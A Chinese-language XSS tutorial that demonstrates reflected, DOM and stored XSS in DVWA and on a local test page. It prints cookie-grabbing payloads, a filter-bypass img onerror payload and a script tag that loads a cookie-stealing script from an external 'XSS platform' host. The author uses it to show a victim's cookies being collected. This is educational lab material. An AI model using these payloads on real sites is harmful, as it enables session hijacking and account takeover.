XSS注入基础入门篇

news2024/10/2 16:14:36

XSS注入基础入门篇

  • 1.XSS基础概念
  • 2. XSS的分类以及示例
    • 2.1 反射型XSS
      • 2.1.1 示例1:dvwa low 级别的反射型XSS
      • 2.1.2 攻击流程
    • 2.2 DOM型XSS
      • 2.2.1 示例2:DOM型XSS注入
        • 1.环境部署
        • 2.基础版本
        • 3.进阶绕过
    • 2.3 存储型XSS
      • 2.3.1 示例1:dvwa low示例
      • 2.3.2 攻击流程
  • 3. 总结

本文通过几个浅显易懂的例子为大家详细的讲解xss漏洞的分类以及其可能引发的危害。当然还有众多安全src拒收selfxss的原因。

1.XSS基础概念

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

当然,也有很精简的定义,就是web程序在开发的时候没有对用户的输入进行严格的控制。导致用户的某些非法恶意输入可以在我们的页面上加载外部脚本资源。泄露客户端本地存储的用户敏感信息(尤指cookie)。引发严重的后果。

2. XSS的分类以及示例

其实从攻击手段上分类的话,xss是可以分类为两类的,就是存储型和反射型。存储型就是危害最大的,也是厂商会收集的漏洞。其利用方式也因为插入了数据库可以多次读取的缘故,更容易盗取管理人员以及其他用户的cookie信息。反射型xss就需要发送给攻击目标在攻击目标访问目标网页时,才能达到攻击效果。

反射型又因为作用位置的不同分为两类,反射型xss和dom型xss。反射型XSS的作用位置就是在HTML标签内部发生注入。而dom型xss的触发本质却是在JS代码的执行过程中被触发。

上面的暂时不理解没关系,我们下面通过几个例子,就能初步搞清楚不同xss的区别以及到底产生了怎样的危害。

2.1 反射型XSS

反射型XSS 是非持久性、参数型的跨站脚本。反射型XSS 的JS 代码在Web 应用的参数(变量)中,如搜索框的反射型XSS。在搜索框中,提交PoC[scriptalert(/xss/)/script],点击搜索,即可触发反射型XSS。注意到,我们提交的poc 会出现在search.php 页面的keywords 参数中。

2.1.1 示例1:dvwa low 级别的反射型XSS

1.我们打开这个靶场,可以在搜索框输入相应的测试语句,测试弹窗:
在这里插入图片描述

查看效果:弹窗弹出,说明我们的JS代码被执行了。

在这里插入图片描述
2.再次进行修改,尝试弹出cookie

<script>alert(document.cookie)</script>

在这里插入图片描述
好神奇~,其实到这里就得看源码了。看完源码就知道这样的操作实属必然。下main是后端的php代码。清晰的展示了我们这里的触发流程。

<?php
//关闭浏览器曾经存在过的保护机制
header ("X-XSS-Protection: 0");

// 接收get方法传递的参数name,将其放置到<pre></pre>标签内部,不做过滤。
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Feedback for end user
	$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

显然,我们传递的参数又被传回来了,还给插入到标签里面,展示出来。我们只要输入相应的JS代码,就会在我们的页面上解析出来。看一下我们返回来的标签:

在这里插入图片描述
如此看来,确实在前端返回了我们的JS代码。这时候你又要问了,那又怎样,就是弹个窗,弹个cookie又不能修改服务器的数据。这漏洞有跟没有不是没区别嘛。反正在前端。别急,下面我给大家演示这个漏洞的攻击原理。大家就明白了。

3.我们利用一个XSS平台,测试“真正的攻击手法。”

平台网址:https://xss.yt/,这类的平台可以自行搭建,在这里我使用别人搭好的平台。

创建项目,进行配置。
在这里插入图片描述
在这里插入图片描述
这里选择默认就行了,注意这里的keepsession最好不要勾选,容易造成我们的攻击暴露。

在这里插入图片描述

点击这里就可以看到系统提供的payload了。挑一个最短的:

<sCRiPt/SrC=//xss.yt/LS3a>

此时模拟恶意用户误点了插入了恶意JS的链接:

在这里插入图片描述

我们可以在xss平台上看到:我们已经获取了受害者的cookie在内的敏感信息,以及屏幕截图。

在这里插入图片描述

我们发现,嵌入的JS代码请求了一个外部的URL,我们跟进去看看:
在这里插入图片描述
这些代码的功能就是获取本地各项信息,跨域转发给XSS平台服务器。依次来获取目标的cookie。

2.1.2 攻击流程

我们来梳理一下它的攻击流程:

在这里插入图片描述
首先,正常服务器上存在XSS反射型注入点,可以允许我们引入运行外部的JS代码。而这些JS代码就是恶意请求文件,目的在于将本地的cookie信息盗取。发送给黑客的恶意服务器。

其次,黑客将请求恶意脚本的链接,发送给受害人。受害人一旦在登陆网站的情况下点击,自己与正常服务器之间的cookie信息就会被发送到黑客手上。

而cookie通常又存储着sessionid等信息,常常相当于登陆凭证被使用。此时,黑客就可以直接登陆用户的后台。进行恶意操作。

而要想获取更高的权限,黑客就必须找到网站管理员,并欺骗网络管理员点击恶意链接。以此获取目标站点的管理员权限。至此,XSS漏洞就得到了完美的利用。

那么为什么这类反射型XSS漏洞被称为selfxss且不被看好呢,原因就是在现在的网络环境下,找到管理员取得联系并不容易,想要欺骗管理员点击链接。恐怕绝非一件易事。大家的安全意识都在不断提升。所以这类攻击,很难生效。

2.2 DOM型XSS

DOM XSS 比较特殊。owasp 关于DOM 型号XSS 的定义是基于DOM 的XSS 是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM 树而执行的。其特殊的地方就是payload 在浏览器本地修改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测。

2.2.1 示例2:DOM型XSS注入

1.环境部署

这里我们自己新建一个HTML页面即可完成对示例环境的部署。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" type="text/css" href="index.css">
    <title>aaa</title>
</head>

<body>
    <h1 id="1">try dom xss in hash</h1>
</body>

<script>
	//获取hash字段#后边的字符
    const data = decodeURIComponent(location.hash.substr(1));
    //创建root为div块
    const root = document.createElement('div');
    //使用innterHTML插入data,插入从hash字段输入的字符串
    root.innerHTML = data;
    //模拟XSS过滤机制
    for(let el of root.querySelectorAll('*')){
        for(let attr of el.attributes){
            el.removeAttribute(attr.name);
        }
    }
    document.body.appendChild(root);
</script>
</html>

访问测试:

在这里插入图片描述

2.基础版本

我们先注释掉这里的防护机制,尝试插入JS代码:

在这里插入图片描述

测试效果:没有任何反应

在这里插入图片描述
我们在试试图片标签:"<img src='x' onerror='alert(1)'>"

在这里插入图片描述

疑惑了吧,这是因为我们的数据看起来是最终成为了标签,但是在成为标签的过程中。它是经过JS的innerhtml函数插入的。我们查阅官方文档可以看到:
在这里插入图片描述
原来是innerhtml不执行script标签。但是也没防护完全,因为有img这样不需要写script的标签依旧可以弹窗。故,它的防护功能并不完善。

3.进阶绕过

接下来,放开我们的过滤器,再次测试img标签的注入效果。

在这里插入图片描述
弹不出来了,显然这里的过滤机制过滤掉了我们的标签内的一些属性。让我们的标签失效了。

//断点分析一段的执行逻辑
 for(let el of root.querySelectorAll('*')){
        for(let attr of el.attributes){
            el.removeAttribute(attr.name);
        }
    }

在这里打上断点,一直单步循环注意el和attr的值。
在这里插入图片描述

删除了一个img标签内的属性,就退出了?

在这里插入图片描述

由于看的不清楚,我们尝试给img标签加一些"猛料",用数字占位,找寻规律。

http://127.0.0.1/aaa/#<img 1 2 3 4 5 6 7 8 9>

在这里插入图片描述
从现象上看,间隔式的删除了元素,偶数元素被保留了下来。可是这代码怎么看都像是全部删除。我们再次跟进断点,进行调试:

在这里插入图片描述
这里的原因显而易见,由于我们在循环的时候,索引每次移动一格,但是我们在循环体内部又手动删除了已经索引过的元素。导致循环后面的所有元素向前推了一个索引,也就是说,本该循环到第二位的索引元素,跑到了第一位上。逃逸了我们的删除。我们实际上在第二次删除的是初始第三位上的元素。同样,后面每一次删除,都会让后面的元素逃逸掉删除操作。

最终形成了保留偶数位属性的特征。那么我们对的payload做出修改即可。

http://127.0.0.1/aaa/#<img 1 scr=1 3 οnerrοr=alert(1) 5 6 7 8 9>

在这里插入图片描述
绕过成功。

2.3 存储型XSS

故名思意,其与反射型XSS的区别就是它的数据会入库,会直接插入数据库,多次造成威胁。

2.3.1 示例1:dvwa low示例

我们选择low难度,进入dvwa,选择存储型XSS演示。

在这里插入图片描述

此后无论刷新多少次页面此XSS均会被执行,发生弹窗。

在这里插入图片描述

查看页面源码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = stripslashes( $message );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitize name input
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

查看数据库内的信息:

mysql> select * from guestboog;
ERROR 1146 (42S02): Table 'dvwa.guestboog' doesn't exist
mysql> select * from guestbook;
+------------+---------------------------+------+
| comment_id | comment                   | name |
+------------+---------------------------+------+
|          1 | This is a test comment.   | test |
|          2 | <script>alert(1)</script> | name |
|          3 | <script>alert(1)</script> | name |
+------------+---------------------------+------+
3 rows in set (0.00 sec)

确实数据被插入了数据库,后面的查询可以多次读取到这条数据,又因为被插入到了标签内部。故引发多次XSS的触发。

2.3.2 攻击流程

这里给出其攻击过程的流程图:
在这里插入图片描述

这里的危害立刻就凸显出来,无需社工,不需要忽悠任何人。只要你在浏览网页的时候,访问到了这条信息。那么你的cookie就归黑客了。更可怕的是,作为管理人员,通常需要对这类留言信息进行审核。此时,一旦出现类似的XSS注入。那么,黑客也就拿到了管理员账号。完成攻击。

3. 总结

XSS又名跨站脚本攻击,引发原因就是未对需要回显的用户输入进行有效过滤。导致用户可以在回显页面中插入恶意JS代码,通过跨域读取cookie的方式,泄露用户个人信息。严重的可以造成管理员权限外泄,非法登陆。

就分类而言,大的可以按照利用方案分为两类,反身型xss和存储型xss,反射型需要我们去骗,去偷袭。让特定的管理员在特定的状态下(登陆网站)点击特定的链接(我们的恶意链接)。利用难度大,常常被戏称为selfxss被各大厂商拒之门外。另一类,直接插入服务器的数据库,谁看谁被偷。危害大,影响坏。作为存储型XSS其危害还是十分巨大的。

可以再细分反射型XSS为反射型XSS和DOM型XSS,因为二者在执行原理上有所不同。反射型是用户输入直接被插入了标签内部进行显示。而DOM型XSS是在JS代码执行过程中被插入页面。相对要更难理解一些。但是二者表征相同,利用方式相同。

到这里,基础部分结束了,我们将进入进阶学习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/352492.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

WebADI - 参数的使用

* 本文仅供交流分享&#xff0c;不作为专业指导 最近研究了一下WEBADI文档下载的参数&#xff0c;由于网上这块资料较少&#xff0c;所以专意分享下我的笔记。 准备 集成器&#xff1a;BHSC_EMP_ADI 表值集&#xff1a;BHSC_DEPT_LOV&#xff08;值&#xff1a;dname&#x…

c++学习笔记-提高编程-模板(哔站-黑马程序员c++教学视频)

目录 1、模板概念 2、模板特点 3、模板语法 3.1编程思想&#xff1a;泛型编程 3.2两种模板方法&#xff1a; 3.2.1 函数模板 3.2.2 类模板 1、模板概念 通用的模具&#xff0c;提高代码复用性 2、模板特点 不可以直接使用&#xff0c;只是一个框架&#xff1b;模板的…

JMeter 做接口性能测试,YYDS

简介 本文由xmeter君写给想了解性能测试和JMeter的小白&#xff0c;适合对这两者了解很少的同学们&#xff0c;如果已经有使用经验的请绕道&#xff0c;别浪费时间:-) 我们将介绍JMeter的使用场景&#xff0c;如何安装、运行JMeter&#xff0c;以及开始一个最最简单的测试。 …

房产|1月全国70城房价出炉!疫情放开后你关心的城市房价有何变化

2023年1月份&#xff0c;70个大中城市中新房销售价格环比上涨城市个数增加&#xff1b;一线城市新房销售价格环比同比转涨、二三线城市环比降势趋缓&#xff0c;二三线城市同比下降。 | 新房/二手房12月-1月环比上涨城市数量变化 70个大中城市中&#xff0c;新房环比上涨城市…

RBAC(Role-Based Access Control:基于角色的访问控制)

RBAC是什么 1、RBAC模型概述 RBAC模型&#xff08;Role-Based Access Control&#xff1a;基于角色的访问控制&#xff09;模型是20世纪90年代研究出来的一种新模型&#xff0c;但其实在20世纪70年代的多用户计算时期&#xff0c;这种思想就已经被提出来&#xff0c;直到20世…

控制层类上的注解、业务层的注入、URL映射、参数接收、返回数据及网页模板、RESTful

控制类的作用&#xff1a; 处理http的请求&#xff0c;从HTTP请求中获得信息&#xff0c;提取参数&#xff0c;并分发给不同的处理服务&#xff0c;处理之后封装成一个Model &#xff0c;然后再把该Model返回给对应的View进行展示。 控制层类上的注解 Controller&#xff1a;…

科技爱好者周刊之爱好者记录

前言 平时浏览的内容杂七杂八&#xff0c;说好听一些叫做“内容丰富&#xff0c;涉猎甚广”&#xff0c;实际一些则是受到主流大环境的冲击加之自身的控制力尚且不足。 有过类似经历的人大多知道&#xff0c;碎片化的信息除了填充大脑的冗余空间&#xff0c;在短期时间内就会被…

AMBA低功耗接口规范(Low Power Interface Spec)

1.简介 AMBA提供的低功耗接口&#xff0c;用于实现power控制功能。目前AMBA里面包含2种低功耗接口&#xff1a; Q-Channel&#xff1a;实现简单的power控制&#xff0c;如上电&#xff0c;下电。 P-Channel&#xff1a;实现复杂的power控制&#xff0c;如全上电&#xff0c;半上…

今天面了个腾讯拿28K出来的,让我见识到了测试基础的天花板...

公司前段缺人&#xff0c;也面了不少测试&#xff0c;结果竟然没有一个合适的。 一开始瞄准的就是中级的水准&#xff0c;也没指望来大牛&#xff0c;提供的薪资在10-20k&#xff0c;面试的人很多&#xff0c;但平均水平很让人失望。 看简历很多都是3年工作经验&#xff0c;但…

每天10个前端小知识 【Day 17】

前端面试基础知识题 1.使用原生js实现以下效果&#xff1a;点击容器内的图标&#xff0c;图标边框变成border:1px solid red&#xff0c;点击空白处重置 const box document.getElementById(box); function isIcon(target) { return target.className.includes(icon); } b…

【Unity VR开发】结合VRTK4.0:设置抓取时可交互对象的方向

语录&#xff1a; 取酒酿晚风&#xff0c;赠我一场空。 前言&#xff1a; 获取可交互对象的默认方法是将可交互对象的原点与交互器的原点对齐。此机制适用于基本抓取&#xff0c;但有时当您想要抓取某个对象时&#xff0c;您可能希望将可交互对象定向到特定位置并旋转到交互器…

【免费教程】SWAT模型及在面源污染中的应用与案例分析

SWATSWAT&#xff08;Soil and Water Assessment Tool&#xff09;是由美国农业部&#xff08;USDA&#xff09;的农业研究中心Jeff Arnold博士1994年开发的。模型开发的最初目的是为了预测在大流域复杂多变的土壤类型、土地利用方式和管理措施条件下&#xff0c;土地管理对水分…

mysql 按时间倒排序深翻页思考

背景深翻页&#xff0c;可以用id做为偏移量&#xff0c;但如果是uuid时&#xff0c;或需求是要按时间排序时&#xff0c;深翻页就是一个问题了。如果要按最后修改时间倒排序&#xff0c;把时间做索引是可以&#xff0c;但有可能时间是有重的&#xff0c;这样结果就可能不准确这…

【Deformable Convolution】可变形卷积记录

every blog every motto: You can do more than you think. https://blog.csdn.net/weixin_39190382?typeblog 0. 前言 可变形卷积记录 1. 正文 预印版&#xff1a; Deformable Convolutional Networks v1 Deformable ConvNets v2: More Deformable, Better Results 发表版…

【郭东白架构课 模块一:生存法则】05|法则二:研发人员的人性需求是如何影响架构活动成败的?

你好&#xff0c;我是郭东白。上节课我们学习了马斯洛关于人性的理论&#xff0c;那么这节课我们就利用这个理论来看看我们在架构活动中应该注意些什么。 架构设计必须符合人性&#xff0c;而在架构活动中&#xff0c;与“人”相关的主要就是研发人员和目标用户。那么今天这节…

大数据全方位学习路线

大数据全方位学习路线 一、大数据处理流程 上图是一个简化的大数据处理流程图&#xff0c;大数据处理的主要流程包括数据收集、数据存储、数据处理、数据应用等主要环节。下面我们逐一对各个环节所需要的技术栈进行讲解&#xff1a; 1.1 数据收集 大数据处理的第一步是数据的收…

23- 条件随机场CRF (NLP算法) (算法)

CRF模型构建 : crf sklearn_crfsuite.CRF(c1 0.1,c2 0.1,max_iterations100,all_possible_transitionsTrue) crf.fit(X_train,y_train) 1、条件随机场CRF概述 将之前所有的观测作为未来预测的依据是不现实的&#xff0c;因为其复杂度会随着观测数量的增加而无限制地增长。因…

【C++提高编程】C++全栈体系(二十)

C提高编程 第三章 STL - 常用容器 二、vector容器 1. vector基本概念 功能&#xff1a; vector数据结构和数组非常相似&#xff0c;也称为单端数组 vector与普通数组区别&#xff1a; 不同之处在于数组是静态空间&#xff0c;而vector可以动态扩展 动态扩展&#xff1a…

小菜版考试系统——“C”

各位CSDN的uu们你们好呀&#xff0c;今天&#xff0c;小雅兰的内容是小菜版考试系统&#xff0c;最近一直在忙C语言课程设计的事&#xff0c;那么&#xff0c;就请uu们看看我的学习成果吧。 课程设计任务 摘要 题目分析 流程图 关键程序代码 程序运行结果 结论与心得 参…

JVM08 StringTable

StringTable String的基本特性 String&#xff1a;字符串&#xff0c;使用一对 ”” 引起来表示 String s1 “mogublog” ; // 字面量的定义方式String s2 new String(“moxi”); string声明为final的&#xff0c;不可被继承String实现了Serializable接口&#xff1a;表示字…